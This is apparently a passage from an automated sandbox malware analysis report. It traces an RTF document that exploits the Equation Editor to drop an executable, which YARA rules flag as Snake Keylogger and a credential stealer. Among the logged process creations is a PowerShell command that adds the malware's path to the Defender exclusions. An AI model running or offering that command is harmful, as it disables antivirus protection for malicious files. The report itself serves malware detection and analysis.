Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A25320 8_2_00A25320
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2CD28 8_2_00A2CD28
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A24628 8_2_00A24628
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A26028 8_2_00A26028
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A25330 8_2_00A25330
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2DA30 8_2_00A2DA30
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A26D30 8_2_00A26D30
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2F731 8_2_00A2F731
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A26038 8_2_00A26038
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A29000 8_2_00A29000
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A29D08 8_2_00A29D08
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2B308 8_2_00A2B308
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A20012 8_2_00A20012
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2EE10 8_2_00A2EE10
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A23910 8_2_00A23910
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2C010 8_2_00A2C010
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2B318 8_2_00A2B318
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2461C 8_2_00A2461C
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2B760 8_2_00A2B760
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2AA68 8_2_00A2AA68
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2C468 8_2_00A2C468
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A23D69 8_2_00A23D69
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2B770 8_2_00A2B770
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A23070 8_2_00A23070
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A24A70 8_2_00A24A70
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A23D78 8_2_00A23D78
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2C478 8_2_00A2C478
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2E978 8_2_00A2E978
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A25778 8_2_00A25778
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2DE78 8_2_00A2DE78
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2F740 8_2_00A2F740
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A26D40 8_2_00A26D40
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A27A40 8_2_00A27A40
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A28740 8_2_00A28740
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A27A48 8_2_00A27A48
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A29448 8_2_00A29448
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A28750 8_2_00A28750
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A29458 8_2_00A29458
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2AA59 8_2_00A2AA59
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A2305F 8_2_00A2305F
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A557B8 8_2_00A557B8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A549F8 8_2_00A549F8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A550D8 8_2_00A550D8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A53C38 8_2_00A53C38
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A54318 8_2_00A54318
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A52E78 8_2_00A52E78
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A50040 8_2_00A50040
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A53558 8_2_00A53558
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A557A8 8_2_00A557A8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A549E9 8_2_00A549E9
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A529CE 8_2_00A529CE
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A550C8 8_2_00A550C8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A50ED8 8_2_00A50ED8
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A52121 8_2_00A52121
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A53C28 8_2_00A53C28
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A52130 8_2_00A52130
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A52B00 8_2_00A52B00
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A54308 8_2_00A54308
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A50014 8_2_00A50014
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A52E68 8_2_00A52E68
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A5354A 8_2_00A5354A
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Code function: 8_2_00A52A50 8_2_00A52A50
Yara signature match
Source: Xkl0PnD8zFPjfh1.wiz.rtf, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 5.2.wealthcharliebgk.exe.3670430.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.wealthcharliebgk.exe.3670430.5.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.wealthcharliebgk.exe.3670430.5.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 8.2.wealthcharliebgk.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.wealthcharliebgk.exe.362d410.4.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.wealthcharliebgk.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.wealthcharliebgk.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.wealthcharliebgk.exe.362d410.4.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.wealthcharliebgk.exe.362d410.4.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, type: UNPACKEDPE Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000008.00000002.875616803.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.371856792.00000000033F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: wealthcharliebgk.exe PID: 3756, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: wealthcharliebgk.exe PID: 3860, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Xkl0PnD8zFPjfh1[1].exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: wealthcharliebgk.exe.2.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, COVID19.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.wealthcharliebgk.exe.362d410.4.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, COVID19.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.wealthcharliebgk.exe.3670430.5.raw.unpack, VIPSeassion.cs Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, RMQW4BFBjZuxJDH8DI.cs Security API names: _0020.SetAccessControl
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, RMQW4BFBjZuxJDH8DI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, RMQW4BFBjZuxJDH8DI.cs Security API names: _0020.AddAccessRule
Source: 5.2.wealthcharliebgk.exe.5620000.6.raw.unpack, V2NTuI83GISjPPYVRb.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, V2NTuI83GISjPPYVRb.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, RMQW4BFBjZuxJDH8DI.cs Security API names: _0020.SetAccessControl
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, RMQW4BFBjZuxJDH8DI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.wealthcharliebgk.exe.36b4c30.3.raw.unpack, RMQW4BFBjZuxJDH8DI.cs Security API names: _0020.AddAccessRule
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winRTF@9/14@29/8
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$l0PnD8zFPjfh1.wiz.rtf Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVR7B47.tmp Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T........+.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T........+.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T........+.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T........+.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T........+.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T........+.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................a.g.a.i.n.......................T........+.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T........+.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.T........,.........................s.................... ....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T........,.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T.......-,.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T.......9,.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.....K,.........................s....................$....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T.......Y,.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T.......k,.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T.......w,.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s....................2....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T........,.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T........,.........................s....................l....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T........,.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................T........,.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................T........,.........................s............................................ Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Xkl0PnD8zFPjfh1.wiz.rtf ReversingLabs: Detection: 44%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe "C:\Users\user\AppData\Roaming\wealthcharliebgk.exe"
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wealthcharliebgk.exe"
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process created: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe "C:\Users\user\AppData\Roaming\wealthcharliebgk.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe "C:\Users\user\AppData\Roaming\wealthcharliebgk.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wealthcharliebgk.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Process created: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe "C:\Users\user\AppData\Roaming\wealthcharliebgk.exe" Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64win.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: msi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: cryptsp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dwmapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: version.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: secur32.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: webio.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: nlaapi.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Roaming\wealthcharliebgk.exe Section loaded: riched20.dll Jump to behavior
